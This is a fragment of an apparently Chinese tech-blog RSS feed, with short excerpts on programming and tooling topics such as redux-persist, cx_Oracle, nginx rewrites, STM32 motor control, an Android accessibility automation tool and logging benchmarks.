      <pubDate>Wed, 06 Nov 2019 17:31:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1c26fe2f80a4b8c349373408c445f862/</guid>
      <description>原创文章，欢迎转载。转载请注明：转载自 祥的博客&#xA;原文链接：https://blog.csdn.net/humanking7/article/details/102939393&#xA;word 插入题注快捷键&#xA;动机 批量插入题注的时候真的很烦，尤其是这个还没有方便的快捷键，所以就自定义快捷键，有了此教程。&#xA;方法1 word原始快捷方式 依次按：Alt-S-P&#xA;方法2 设置自定义快捷键 打开键盘快捷键定义对话框：&#xA;文件 选项 自定义功能区 键盘快捷方式：自定义 在对话框中找到插入题注的命令，并设置快捷键：&#xA;引用选项卡 命令：InsertCaption 我设置的是Ctrl+Q：一来quote有引用的意思，二来Ctrl+E是居中，方便&#xA;OK！&#xA;以上，Enjoy~&#xA;我的博客即将同步至腾讯云+社区，邀请大家一同入驻：https://cloud.tencent.com/developer/support-plan?invite_code=3ppv3k3uoaqsw</description>
    </item>
    <item>
      <title>解决react页面刷新，store中保存的状态消失问题</title>
      <link>https://bchobby.github.io/posts/0a21ef5a45ecd3c6d6437f7d20aa87ef/</link>
      <pubDate>Wed, 06 Nov 2019 15:02:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0a21ef5a45ecd3c6d6437f7d20aa87ef/</guid>
      <description>redux的store状态数据不是永久保存的，state只是一个内存机制。&#xA;我们知道的本地数据库或者像localstorage之类的缓存系统才有可能长时间的保存数据，redux-persist可以让你的数据从state分离出来，保存到浏览器缓存中，以便实现数据的持久化存储&#xA;下面是我自己的代码，没有使用thunk中间件&#xA;我圈出的红色部分就是是用persist需要用到元素，其他关于action 都保持不变</description>
    </item>
    <item>
      <title>python模块-cx_Oracle-python连接数据库并执行SQL语句</title>
      <link>https://bchobby.github.io/posts/99628535d2f9c6aa8af55d5e4d263636/</link>
      <pubDate>Wed, 06 Nov 2019 14:16:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/99628535d2f9c6aa8af55d5e4d263636/</guid>
      <description> cx_Oracle 1、首先要安装cx_Oracle模块，测试在python安装目录下，执行 pip install cx_Oracle 是可以安装的，但是网上说要核对Oracle的版本和python的版本，我安装之后，和python的版本是能对应起来的，可能是巧合，和Oracle的版本也是能对应起来的，如果有对应不起来的情况，建议可以从下面的网址找对应的版本下载 https://oracle.github.io/python-cx_Oracle/&#xA;2、然后是操作数据库 import cx_Oracle as ora # 导入模块 conn = ora.connect(&#34;用户名/密码@IP:PORT/SERVER_NAME&#34;) # 连接数据库 cursor = conn.cursor() # cursor方法相当于设置一个游标，由于对Oracle不是很熟悉，反正就是没有这一步是不可以进行后续操作的 sql = &#34;select * from t_transcode&#34; # 自定义sql语句 cursor.execute(sql) # execUte方法用来执行sql语句 data = cursor.fetchone() # fetchone方法执行结果的第一条数据，返回成一个元组 data_all = cursor.fetchall() # fetchall方法获取sql语句执行结果的所有数据，返回一个列表，每条数据作为一个元组 print(data) print(type(data)) print(data_all) 这个模块的基本所有方法都没有智能提示，很烦 </description>
    </item>
    <item>
      <title>nginx url 路径中有 # 号</title>
      <link>https://bchobby.github.io/posts/b084577b8aaccd35c58ac17515f6d808/</link>
      <pubDate>Tue, 05 Nov 2019 19:37:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b084577b8aaccd35c58ac17515f6d808/</guid>
      <description>瞎测试，居然可以，记录一下&#xA;路径里面有#号特殊字符，好像不行，重写下url好像可以访问。&#xA;原地址是 http://xxxxxxx/index.xhtml#/xxxx 里面有#号&#xA;用新的地址变成 http://xxxxxxx/test#/xxxx location ^~ /test {&#xA;rewrite ^/index.xhtml#/(.*)$ /$1 break;&#xA;proxy_pass http://xxxxxxx:8002/index.xhtml#/;&#xA;proxy_redirect off;&#xA;proxy_set_header Host $host;&#xA;proxy_set_header X-Real-IP $remote_addr;&#xA;proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;&#xA;}&#xA;location / {&#xA;set $flag 0;&#xA;if ($http_referer ~ test) {&#xA;set $flag &#34;${flag}1&#34;;&#xA;} if ($flag = &#34;01&#34;) {&#xA;proxy_pass http://xxxxxxxx:8002;&#xA;}&#xA;proxy_redirect off;&#xA;proxy_set_header Host $host;&#xA;proxy_set_header X-Real-IP $remote_addr;&#xA;proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;&#xA;}</description>
    </item>
    <item>
      <title>Endnote X8导入文献信息失败</title>
      <link>https://bchobby.github.io/posts/588eeb084232dfe543f521356b2973ea/</link>
      <pubDate>Mon, 04 Nov 2019 11:32:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/588eeb084232dfe543f521356b2973ea/</guid>
      <description>Web of Science导出的.ciw文件导入endnote X8时选endnote import有时会没有反应，可以选xml，导入成功。&#xA;从万方或者知网导出的txt文件导入时会出现乱码，选no translation或者UTF8</description>
    </item>
    <item>
      <title>STM32 电机教程 10 - BLDC 6 步方波控制</title>
      <link>https://bchobby.github.io/posts/9036f22e92f2ba55f48d153bcb05acaa/</link>
      <pubDate>Sun, 03 Nov 2019 22:04:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9036f22e92f2ba55f48d153bcb05acaa/</guid>
      <description>前言&#xA;无刷直流 （Brushless Direct Current， BLDC）电机是一种正快速普及的电机类型，它可在家用电器、汽车、航空航天、消费品、医疗、工业自动化设备和仪器等行业中使用。正如名称指出的那样，BLDC 电机不用电刷来换向，而是使用电子换向。BLDC 电机和有刷直流电机以及感应电机相比，有许多优点。其中包括：&#xA;• 更好的转速－转矩特性&#xA;• 快速动态响应&#xA;• 高效率&#xA;• 使用寿命长&#xA;• 运转无噪音&#xA;• 较高的转速范围此外，&#xA;由于输出转矩与电机体积之比更高，使之在需要着重考虑空间与重量因素的应用中，大有用武之地。&#xA;有刷电机 无刷电机 关于BLDC的基本原理与控制控制基础知识上一讲已经介绍，本节将用NUCLEO-F103RB和X-NUCLEO-IHM07M1 3SH快速为大家实现BLDC的转动控制！&#xA;本节所用电机为2836无刷电机,电机有两组线（hall传感器线和电机三相线）,工作电压24V，最大转速12000rpm：&#xA;示例详解&#xA;本节用到ST官方推出的NUCLEO-F103RB和X-NUCLEO-IHM07M1 3SH 开发板。&#xA;NUCLEO-F103RB对应的大致原理接线图：&#xA;X-NUCLEO-IHM07M1 3SH部分原理图：&#xA;准备操作 X-NUCLEO-IHM07M1 3SH是一款专门用于PMSM（永磁同步）或BLDC（直流无刷 ）的电机驱动板，其电机驱动板驱动芯片型号为L6230（详细数据手册可在st官网下载）,本节主要目的是给大家演示BLDC 6步方波控制原理，仅需让BLDC电机实现简单正反转动即可，仅需用到IN1,IN2, IN3和OUT1,OUT2，OUT3以及HALL传感器信号接口H1,H2,H3。 需要用到的信号&#xA;对应MCU引脚&#xA;EN1&#xA;PC10&#xA;IN1&#xA;PA8&#xA;EN2&#xA;PC11&#xA;IN2&#xA;PA9&#xA;EN3&#xA;PC12&#xA;IN3&#xA;PA10&#xA;H1&#xA;PA15&#xA;H2&#xA;PB3&#xA;H3&#xA;PB10&#xA;为了更加简单地介绍清楚BLDC 6 步方波控制的具体实现，本节直接使用普通IO口方式实现对BLDC电机的6步方波驱，将EN1、EN2、EN3和 IN1、IN2、IN3全部配置成普通输出IO口输出模式，H1,H2,H3配置普通IO口输入模式。&#xA;在STM32CubeMX中，有专门的NUCLEO-F103RB工程模板，新建一个Cube工程，芯片型号为st32f103rb： 生成一个简单的工程模板实现了RCC,SYS，USART2接口的配置，同时还实现了LD2（LED）引脚的配置。接下来手动配置IO: 配置PA8,PA9,PA10,PC10,PC11,PC12为GPIO_OUTPUT模式, PA15,PB0,PB10为GPIO_INPUT模式：&#xA;生成工程：&#xA;打开工程， 在main.</description>
    </item>
    <item>
      <title>ENOSPC: System limit for number of file watchers reached, watch</title>
      <link>https://bchobby.github.io/posts/4968c67fdbdb8bdf5a1b5b749d3832fd/</link>
      <pubDate>Sun, 03 Nov 2019 22:03:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4968c67fdbdb8bdf5a1b5b749d3832fd/</guid>
      <description> ENOSPC: System limit for number of file watchers reached, watch echo fs.inotify.max_user_watches=524288 | sudo tee -a /etc/sysctl.conf &amp;amp;&amp;amp; sudo sysctl -p </description>
    </item>
    <item>
      <title>[vue-element-admin] 一、权限路由的初始化分析</title>
      <link>https://bchobby.github.io/posts/dbf61ae7a3691a1f38f13111b5ca920e/</link>
      <pubDate>Sun, 03 Nov 2019 13:41:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/dbf61ae7a3691a1f38f13111b5ca920e/</guid>
      <description>这里的权限只是局限于前端，只用来控制用户角色在登陆后应当显示哪些菜单，真正的权限校验配置还会在后端维护一套路由表（这里官方文档说是为了摆脱前后端耦合的支配，我觉得没必要，这个可以在开发之前先让后端开发路由增删查改接口，直接暴露给前端配置，应该耗不了多长时间，这样前端只要post个json到后端就可以完成配置。用户的惯性思维是我能看到就应当可以操作，不管是从安全的角度还是用户体验的角度， 权限都理应由后端统一控制。）。&#xA;※阅读时主要关注注释点。本文主要记录作者分析过程发现的关键点，如需详细教程请移步Github上的官方文档。&#xA;本文基于4.2.1版本国际化分支 i18n Branch代码做分析&#xA;（主干在版本v4.1.0之后已不再支持国际化，但仍会保持与主干同步更新该分支。&#xA;After the v4.1.0+ version,the default master branch will not support i18n.Please use i18n Branch, it will keep up with the master update）。&#xA;1.没登陆之前 没登陆之前只挂载不需要权限的路由，比如login之类的&#xA;1.1、main.js引入router.js import router from &#39;./router&#39; //这里其实只挂载了不需要权限的路由 new Vue({ el: &#39;#app&#39;, router, store, i18n, render: h =&amp;gt; h(App) }) 1.2、非权限路由挂载（router.js） export const constantRoutes = [ { path: &#39;/redirect&#39;, component: Layout, hidden: true, children: [ { path: &#39;/redirect/:path*&#39;, component: () =&amp;gt; import(&#39;@/views/redirect/index&#39;) } ] }, { path: &#39;/login&#39;, component: () =&amp;gt; import(&#39;@/views/login/index&#39;), hidden: true }] //创建路由实例 const createRouter = () =&amp;gt; new Router({ // mode: &#39;history&#39;, // require service support scrollBehavior: () =&amp;gt; ({ y: 0 }), routes: constantRoutes //不需要权限的路由 }) //初始化路由实例 const router = createRouter() //导出 export default router 2.</description>
    </item>
    <item>
      <title>CUDA与cuDNN</title>
      <link>https://bchobby.github.io/posts/aa9735ce5f1f6ef3e0b49f9503147adc/</link>
      <pubDate>Sat, 02 Nov 2019 20:17:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/aa9735ce5f1f6ef3e0b49f9503147adc/</guid>
      <description>1、什么是CUDA&#xA;CUDA(ComputeUnified Device Architecture)，是显卡厂商NVIDIA推出的运算平台。 CUDA是一种由NVIDIA推出的通用并行计算架构，该架构使GPU能够解决复杂的计算问题。&#xA;2、什么是CUDNN&#xA;NVIDIA cuDNN是用于深度神经网络的GPU加速库。它强调性能、易用性和低内存开销。NVIDIA cuDNN可以集成到更高级别的机器学习框架中，如谷歌的Tensorflow、加州大学伯克利分校的流行caffe软件。简单的插入式设计可以让开发人员专注于设计和实现神经网络模型，而不是简单调整性能，同时还可以在GPU上实现高性能现代并行计算。&#xA;3、CUDA与CUDNN的关系&#xA;The NVIDIA CUDA® Deep Neural Network library (cuDNN) is a GPU-accelerated library of primitives for deep neural networks. cuDNN provides highly tuned implementations for standard routines such as forward and backward convolution, pooling, normalization, and activation layers.&#xA;Deep learning researchers and framework developers worldwide rely on cuDNN for high-performance GPU acceleration. It allows them to focus on training neural networks and developing software applications rather than spending time on low-level GPU performance tuning.</description>
    </item>
    <item>
      <title>vant中自定义文件上传&#43;js自定义上传(点击区域上传并预览)</title>
      <link>https://bchobby.github.io/posts/7462f18e64a3327700239232d52474fe/</link>
      <pubDate>Fri, 01 Nov 2019 22:26:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7462f18e64a3327700239232d52474fe/</guid>
      <description>首先是普通的vant文件上传&#xA;&amp;lt;van-uploader multiple v-model=&#34;fileList&#34; accept=image/jpeg :max-count=&#34;1&#34; :after-read=&#34;afterRead&#34; ref=&#34;selectfile&#34; /&amp;gt; data(){ return{ filelist:[], } } methods: { // 用表单提交 afterRead(file) { //文件读取完成后的回调函数 let content = file.file; //创建一个新的FormData let formData = new FormData(); // upload这个名字是后台给的 formData.append(&#34;upload&#34;, content); //获取formdata表单所有的数据 console.log(formData.getAll(&#34;&#34;)); // axios // .post( //服务器上传地址 // `http://xxxxxxxxxxxx`, //服务器需要的数据，此处是formdata表单 // formData,（名字是后台参数确定的） //如果默认请求头是json，需要改一下请求头数据格式 // { // &#34;Content-Type&#34;: &#34;multipart/form-data&#34; // } // ) // .then(res =&amp;gt; { // console.log(res); // console.log(res.config.headers); // }); axios({ method: &#34;</description>
    </item>
    <item>
      <title>Android自动操作辅助工具思路分享</title>
      <link>https://bchobby.github.io/posts/003135ff894ecb7dffc6089e1aed0472/</link>
      <pubDate>Fri, 01 Nov 2019 14:34:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/003135ff894ecb7dffc6089e1aed0472/</guid>
      <description>效果1：&#xA;效果2：&#xA;此次开发的工具都用纯原生代码进行Android的应用开发的，其实原理都是用了无障碍功能（AccessibilityService）进行处理。上个版本的工具太麻烦了，还需要进行相应的参数接口破解，获取到相应的值再对H5进行处理，总之叽里呱啦的一连串麻烦，也容易被封号，此次的工具只是作为一个辅助性的，完全不需要对目标应用进行啥破解之类，直接说就是仿真人操作，进行一系列仿真操作。&#xA;以下是主要开发流程：&#xA;1.使用AccessibilityService最开始的配置&#xA;&amp;lt;?xml version=&#34;1.0&#34; encoding=&#34;utf-8&#34;?&amp;gt; &amp;lt;accessibility-service xmlns:android=&#34;http://schemas.android.com/apk/res/android&#34; android:accessibilityEventTypes=&#34;typeAllMask&#34; android:accessibilityFeedbackType=&#34;feedbackGeneric&#34; android:accessibilityFlags=&#34;&#34; android:canRetrieveWindowContent=&#34;true&#34; android:description=&#34;@string/app_name&#34; android:canPerformGestures=&#34;true&#34; android:notificationTimeout=&#34;100&#34; /&amp;gt; 上面是使用配置文件的方式的，不过我比较喜欢用代码的方式进行配置，反正两个都可以一起使用啦，只不过是在代码的时候重新获取一下之前配置文件的东西在进行配置而已，反正看你喜欢。代码配置的话在 onServiceConnected 这个方面里面进行处理就行了&#xA;//可用代码配置当前Service的信息 AccessibilityServiceInfo info = getServiceInfo(); //监听过滤的包名 //info.packageNames = new String[]{PackageName.SYSTEMUI.getPackageName()}; //监听响应事件 info.eventTypes = AccessibilityEvent.TYPES_ALL_MASK; info.feedbackType = AccessibilityServiceInfo.FEEDBACK_ALL_MASK; //通知的时间 info.notificationTimeout = 100; //设置标志位，读取webView内容 info.flags = AccessibilityServiceInfo.DEFAULT | AccessibilityServiceInfo.FLAG_INCLUDE_NOT_IMPORTANT_VIEWS | AccessibilityServiceInfo.FLAG_RETRIEVE_INTERACTIVE_WINDOWS | AccessibilityServiceInfo.FLAG_REQUEST_ENHANCED_WEB_ACCESSIBILITY | AccessibilityServiceInfo.FLAG_REPORT_VIEW_IDS; setServiceInfo(info); 目前我这里是不做包名的过滤的，如果不配置包名的话，就是全部的应用都会进来的，我这里就是要全部的应用都进来，然后在里层自己做一个目标包的拦截过滤。我这个方法&#xA;DataListHelper.isExistPackageName(packageName) 就是过滤我支持的目标的，反正自己意会&#xA;2.任何动作的操作都是靠心跳来进行，心跳带动随机时间进行页面的滑动处理，比如说1秒一个心跳， 事先准备一个事件的随机时间，当心跳跳动次数达到随机时间就进行一个事件动作。 随机时间那个，反正就是根据给定一个范围值，至于这个范围值，自己根据相应的动作去估算吧。动作处理时间反正不要每次都相等，一定要随机时间，这个很重要&#xA;心跳那个，我用了RxJava的，每秒都执行一个回调&#xA;/** * 执行心跳 * * @param handler * @return */ public static Disposable executeHeartBeat(final Handler handler) { return Flowable.</description>
    </item>
    <item>
      <title>Citespace简单入门总结</title>
      <link>https://bchobby.github.io/posts/26ad05e5f90dfd88fcdbadb37363fb55/</link>
      <pubDate>Fri, 01 Nov 2019 12:30:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/26ad05e5f90dfd88fcdbadb37363fb55/</guid>
      <description>1.简介&#xA;CiteSpace 又翻译为“引文空间”，是一款着眼于分析科学分析中蕴含的潜在知识，是在科学计量学、数据可视化背景下逐渐发展起来的引文可视化分析软件。由于是通过可视化的手段来呈现科学知识的结构、规律和分布情况，因此也将通过此类方法分析得到的可视化图形称为“科学知识图谱”。摘自 李杰.CiteSpace中文版指男&#xA;2.如何用Citesapce挖掘现有数据，首先对于一些名词进行解释。&#xA;①共被引分析&#xA;在做学术研究时，我们势必会研究前人在此领域所做的工作，也会引用他人的研究成果。但一开始不同人对于某一新的领域的探究是独立的，发表出来的研究论文处于游离状态。然而随着对该领域研究的的不段深入，人们在做研究时往往会引证前人的文献，每次引用就像扯了一条线，慢慢的越来越多的人引用他人的论文，就会以论文为节点，每次的引用作为线，形成一个引文网络。&#xA;共被引分析就诞生在这个引文网络上面，当两篇甚至多篇文献同时出现在第三篇引用文献的参考文献目录中，则这些被引用的论文就形成了共被引关系。像这种满足条件的第三篇论文的个数，就代表了共被引的次数。共被引次数越多，说明这些论文的相似度越大，关联强度也越大。&#xA;②共词分析&#xA;词频分析：在文献信息中提取能够表达论文核心内容的关键词和主题词频高低分布，来研究该领域发展动向和研究热点的方法。&#xA;共词分析则是在词频分析的基础上，对词频网络进行更高层次的分析，原理是对一组词两两统计他们在一组文献中出现的次数，以此来测度他们之间的亲疏关系。&#xA;③突现分析&#xA;Citespace提供burst detection的功能来探测在某一段时间引用量有较大的变化的情况。用于发现某一个主题词、关键词衰落或兴起的情况。&#xA;④聚类分析&#xA;指将物理或抽象对象的几何分组为由类似的对象组成的多个类的分析过程，以分析对象的相似性为基础。&#xA;⑤操作界面的其他功能&#xA;以上内容参考博客：https://www.jianshu.com/p/c3139ee1cf1f&#xA;欲详细了解可移步上述博客。&#xA;3.练手案例&#xA;区块链的总体分析：知网的8345篇生成的区块链的总体趋势图&#xA;根据文献发表数量的年度分布趋势，可以将其分为三个阶段，萌芽阶段、发展探索阶段、快速发展阶段、可以看出区块链技术的萌芽萌发于2013---2015年间，在2015到2017年间进入发展阶段，到 2017--2018年间快速发展，但2018--2019至今区块链发展趋于平缓。&#xA;主题分布图&#xA;将2015---2019年间核心期刊论文作为数据，进行可视化分析。&#xA;（1）首先建立四个空文件夹：&#xA;（2）将知网2015--2019关于区块链的文献导入到input文件夹（不同数据库导出文献的格式要求同，知网要求如下）&#xA;(3)仅可导入2015-2019年的5980篇论文数据&#xA;（4）&#xA;知网数据库里面的数据进行格式转换时用选择CNKI&#xA;将转换完成的output数据copy到data文件夹，如下图output中的数据。&#xA;（5）建立一个项目&#xA;（5）&#xA;4.分析图像（从图上可以获得的信息，暂不赘述）&#xA;核心作者分析：&#xA;核心机构分析图：&#xA;术语、关键字的时间线图&#xA;关键词、术语出现超过50次以上的</description>
    </item>
    <item>
      <title>算法笔记（0002） - 【贪心算法】活动安排问题</title>
      <link>https://bchobby.github.io/posts/1393b9176a79b11426d53c6578f17c8b/</link>
      <pubDate>Thu, 31 Oct 2019 20:43:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1393b9176a79b11426d53c6578f17c8b/</guid>
      <description>贪心算法 原理 在对问题求解时，总是做出在当前看来是最好的选择。也就是说，不从整体最优上加以考虑，他所做出的仅是在某种意义上的局部最优解。贪心算法不是对所有问题都能得到整体最优解，但对范围相当广泛的许多问题他能产生整体最优解或者是整体最优解的近似解。&#xA;特性 贪心算法采用自顶向下，以迭代的方法做出相继的贪心选择，每做一次贪心选择就将所求问题简化为一个规模更小的子问题，通过每一步贪心选择，可得到问题的一个最优解，虽然每一步上都要保证能获得局部最优解，但由此产生的全局解有时不一定是最优的，所以贪婪法不要回溯。能够用贪心算法求解的问题一般具有两个重要特性：贪心选择性质和最优子结构性质。&#xA;1、贪心选择性质 所谓贪心选择性质是指所求问题的整体最优解可以通过一系列局部最优的选择，即贪心选择来达到。这是贪心算法可行的第一个基本要素。贪心算法则通常以自顶向下的方式进行，以迭代的方式作出相继的贪心选择，每作一次贪心选择就将所求问题简化为规模更小的子问题。&#xA;对于一个具体问题，要确定它是否具有贪心选择性质，必须证明每一步所作的贪心选择最终导致问题的整体最优解。证明的大致过程为：首先考察问题的一个整体最优解，并证明可修改这个最优解，使其以贪心选择开始。做了贪心选择后，原问题简化为规模更小的类似子问题。然后用数学归纳法证明通过每一步做贪心选择，最终可得到问题的整体最优解。其中，证明贪心选择后的问题简化为规模更小的类似子问题的关键在于利用该问题的最优子结构性质。&#xA;2、最优子结构性质 当一个问题的最优解包含其子问题的最优解时，称此问题具有最优子结构性质。&#xA;3、贪心算法与动态规划算法的差异 动态规划和贪心算法都是一种递推算法，均有最优子结构性质，通过局部最优解来推导全局最优解。两者之间的区别在于：贪心算法中作出的每步贪心决策都无法改变，因为贪心策略是由上一步的最优解推导下一步的最优解，而上一部之前的最优解则不作保留，贪心算法每一步的最优解一定包含上一步的最优解。动态规划算法中全局最优解中一定包含某个局部最优解，但不一定包含前一个局部最优解，因此需要记录之前的所有最优解。&#xA;4、基本思路： 建立数学模型来描述问题。把求解的问题分成若干个子问题。对每一子问题求解，得到子问题的局部最优解。把子问题的解局部最优解合成原来解问题的一个解。 活动安排问题 活动安排问题就是要在所给的活动集合中选出最大的相容活动子集合，是可以用贪心算法有效求解的很好例子。该问题要求高效地安排一系列争用某一公共资源的活动。贪心算法提供了一个简单、漂亮的方法使得尽可能多的活动能兼容地使用公共资源。&#xA;问题描述 设有n个活动的集合E={1,2,…,n}，其中每个活动都要求使用同一资源，如演讲会场等，而在同一时间内只有一个活动能使用这一资源。每个活动i都有一个要求使用该资源的起始时间si和一个结束时间fi,且si &amp;lt;fi。如果选择了活动i，则它在半开时间区间[si, fi)内占用资源。若区间[si, fi)与区间[sj, fj)不相交,则称活动i与活动j是相容的。也就是说，当si≥fj或sj≥fi时，活动i与活动j相容。活动安排问题就是要在所给的活动集合中选出最大的相容活动子集合。&#xA;求解思路 将活动按照结束时间进行从小到大排序。然后用i代表第i个活动，s[i]代表第i个活动开始时间，f[i]代表第i个活动的结束时间。按照从小到大排序，挑选出结束时间尽量早的活动，并且满足后一个活动的起始时间晚于前一个活动的结束时间，全部找出这些活动就是最大的相容活动子集合。事实上系统一次检查活动i是否与当前已选择的所有活动相容。若相容活动i加入已选择活动的集合中，否则，不选择活动i，而继续下一活动与集合A中活动的相容性。若活动i与之相容，则i成为最近加入集合A的活动，并取代活动j的位置。&#xA;下面给出求解活动安排问题的贪心算法，各活动的起始时间和结束时间存储于数组s和f中，且按结束时间的非减序排列。如果所给的活动未按此序排列，可以用O(nlogn)的时间重排。具体代码如下：&#xA;#include &#34;stdafx.h&#34; #include &amp;lt;iostream&amp;gt; using namespace std; template&amp;lt;class Type&amp;gt; void GreedySelector(int n, Type s[], Type f[], bool A[]); const int N = 11; int main() { //下标从1开始,存储活动开始时间 int s[] = {0,1,3,0,5,3,5,6,8,8,2,12}; //下标从1开始,存储活动结束时间 int f[] = {0,4,5,6,7,8,9,10,11,12,13,14}; bool A[N+1]; cout&amp;lt;&amp;lt;&#34;各活动的开始时间,结束时间分别为：&#34;&amp;lt;&amp;lt;endl; for(int i=1;i&amp;lt;=N;i++) { cout&amp;lt;&amp;lt;&#34;[&#34;&amp;lt;&amp;lt;i&amp;lt;&amp;lt;&#34;]:&#34;&amp;lt;&amp;lt;&#34;(&#34;&amp;lt;&amp;lt;s[i]&amp;lt;&amp;lt;&#34;,&#34;&amp;lt;&amp;lt;f[i]&amp;lt;&amp;lt;&#34;)&#34;&amp;lt;&amp;lt;endl; } GreedySelector(N,s,f,A); cout&amp;lt;&amp;lt;&#34;</description>
    </item>
    <item>
      <title>Logback 对比 Log4j2</title>
      <link>https://bchobby.github.io/posts/1d53c3d46b080a3427422c85348e3644/</link>
      <pubDate>Thu, 31 Oct 2019 18:10:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1d53c3d46b080a3427422c85348e3644/</guid>
      <description> Logback 对比 Log4j2 测试分为本地测试端和服务器端,分别对gateway网关进行日志输出的压测&#xA;同步日志,不打印日志 logback(150并发,0间隔,循环50次) log4j2(150并发,0间隔,循环50次) 同步日志,打印日志(大小4k,循环输出100次) logback(150并发,0间隔,循环50次) log4j2(150并发,0间隔,循环50次) 异步打印日志(大小4k,循环输出100次,仅输出文件) logback(150并发,0间隔,循环50次) log4j2(150并发,0间隔,循环50次) 测试环境 logback(50并发,0间隔,循环20次) 不打印日志 打印日志 log4j2(50并发,0间隔,循环20次) 不打印日志 打印日志 打印日志每条30k输出1000次(一次请求30M) log4j2(50并发,0间隔,循环20次) logback(50并发,0间隔,循环20次) 测试结果 对比响应时间 本地测试log4j2完爆logback(网关给的是2G堆内存)但是还是以测试环境为准:&#xA;在不输出日志和仅输出400k日志的情况下log4j2的99%,95%相比logback的耗时都有所减少;同样开启异步日志的情况下输出30m日志的99%与95%差距在10倍以上. 对比jvm 对比30M日志输出时的JVM情况:&#xA;logback进行了大量的YCG去清理临时的临时变量,而log4j2的变化相对稳定;logback的在异步处理的时候使用的是阻塞队列,日志输出量大导致写盘时间长队列堆积大使得处理日志时间过长;对比线程变化logback线程相对变化大于log4j2. 总结 在线上环境关闭控制台输出会对性能有所提升;相同情况下对比,log4j2性能更优;在对日志输出场景比较多的情况下可以考虑将logback更换为log4j2; 附录 附录一 : logback vs log4j2 附录二 : Sync vs Async 附录三:log4j2特性 </description>
    </item>
    <item>
      <title>Could not extract response: no suitable HttpMessageConverter found for response type</title>
      <link>https://bchobby.github.io/posts/28ce7429288059027b7a4705fad56434/</link>
      <pubDate>Thu, 31 Oct 2019 17:33:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/28ce7429288059027b7a4705fad56434/</guid>
      <description> 异常信息如下 _Could not extract response: no suitable HttpMessageConverter found for response type [java.util.List&amp;lt;java.util.Ma p&amp;lt;java.lang.String, java.lang.Object&amp;gt;&amp;gt;] and content type [application/xml;charset=UTF-8] feign.codec.DecodeException: Could not extract response: no suitable HttpMessageConverter found for response type [java.util.List&amp;lt;java.util.Map&amp;lt;java.lang.String, java.lang.Object&amp;gt;&amp;gt;] and content typ e [application/xml;charset=UTF-8] 原因 服务提供者返回值为xml调用服务者没有对应的HttpMessageConverter 解决方案 // feign api 中设置 produces = &#34;application/json;charset=utf-8&#34; @GetMapping(value = &#34;/path&#34;, produces = &#34;application/json;charset=utf-8&#34;) </description>
    </item>
    <item>
      <title>WPF中重写DataGrid的列头的样式后，列宽不能左右拖动的解决办法</title>
      <link>https://bchobby.github.io/posts/e51f7e76c4a2ae80664c3ff54c3b097b/</link>
      <pubDate>Thu, 31 Oct 2019 17:03:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e51f7e76c4a2ae80664c3ff54c3b097b/</guid>
      <description>在样式中添加：&amp;lt;Thumb x:Name=&#34;PART_RightHeaderGripper&#34;&#xA;Cursor=&#34;SizeWE&#34; HorizontalAlignment=&#34;Right&#34; Width=&#34;1&#34;&#xA;Height=&#34;25&#34;&#xA;VerticalAlignment=&#34;Center&#34; &amp;gt;&#xA;&amp;lt;Thumb.BitmapEffect&amp;gt;&#xA;&amp;lt;DropShadowBitmapEffect Color=&#34;#000&#34;&#xA;Direction=&#34;-90&#34; ShadowDepth=&#34;2&#34; Softness=&#34;0.1&#34; Opacity=&#34;0.3&#34; /&amp;gt;&#xA;&amp;lt;/Thumb.BitmapEffect&amp;gt;&#xA;&amp;lt;/Thumb&amp;gt;&#xA;注意：如果x:Name=&#34;PART_RightHeaderGripper&#34; 不能用， 试试 x:Name=&#34;PART_HeaderGripper&#34; 或 x:Name=&#34;PART_LeftHeaderGripper&#34;&#xA;例子：XMAL中：&#xA;&amp;lt;Style TargetType=&#34;DataGridColumnHeader&#34;&amp;gt;&#xA;&amp;lt;Setter Property=&#34;SnapsToDevicePixels&#34; Value=&#34;True&#34; /&amp;gt;&#xA;&amp;lt;Setter Property=&#34;MinWidth&#34; Value=&#34;0&#34; /&amp;gt;&#xA;&amp;lt;Setter Property=&#34;Foreground&#34; Value=&#34;#666666&#34; /&amp;gt;&#xA;&amp;lt;Setter Property=&#34;FontSize&#34; Value=&#34;12&#34; /&amp;gt;&#xA;&amp;lt;Setter Property=&#34;Cursor&#34; Value=&#34;Hand&#34; /&amp;gt;&#xA;&amp;lt;Setter Property=&#34;Height&#34; Value=&#34;25&#34;/&amp;gt;&#xA;&amp;lt;Setter Property=&#34;Template&#34;&amp;gt;&#xA;&amp;lt;Setter.Value&amp;gt;&#xA;&amp;lt;ControlTemplate TargetType=&#34;DataGridColumnHeader&#34;&amp;gt;&#xA;&amp;lt;Border x:Name=&#34;BackgroundBorder&#34; BorderThickness=&#34;0,1,0,1&#34; Background=&#34;#FFFFFF&#34; BorderBrush=&#34;#CCCACB&#34; Width=&#34;Auto&#34;&amp;gt;&#xA;&amp;lt;Grid &amp;gt;&#xA;&amp;lt;Grid.ColumnDefinitions&amp;gt;&#xA;&amp;lt;ColumnDefinition Width=&#34;*&#34; /&amp;gt;&#xA;&amp;lt;/Grid.ColumnDefinitions&amp;gt;&#xA;&amp;lt;ContentPresenter Margin=&#34;</description>
    </item>
    <item>
      <title>scala运行抱 forward reference extends over definition of value xxx 异常</title>
      <link>https://bchobby.github.io/posts/6e0d7fd79f8da1a362b212357b31c9ae/</link>
      <pubDate>Thu, 31 Oct 2019 15:45:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6e0d7fd79f8da1a362b212357b31c9ae/</guid>
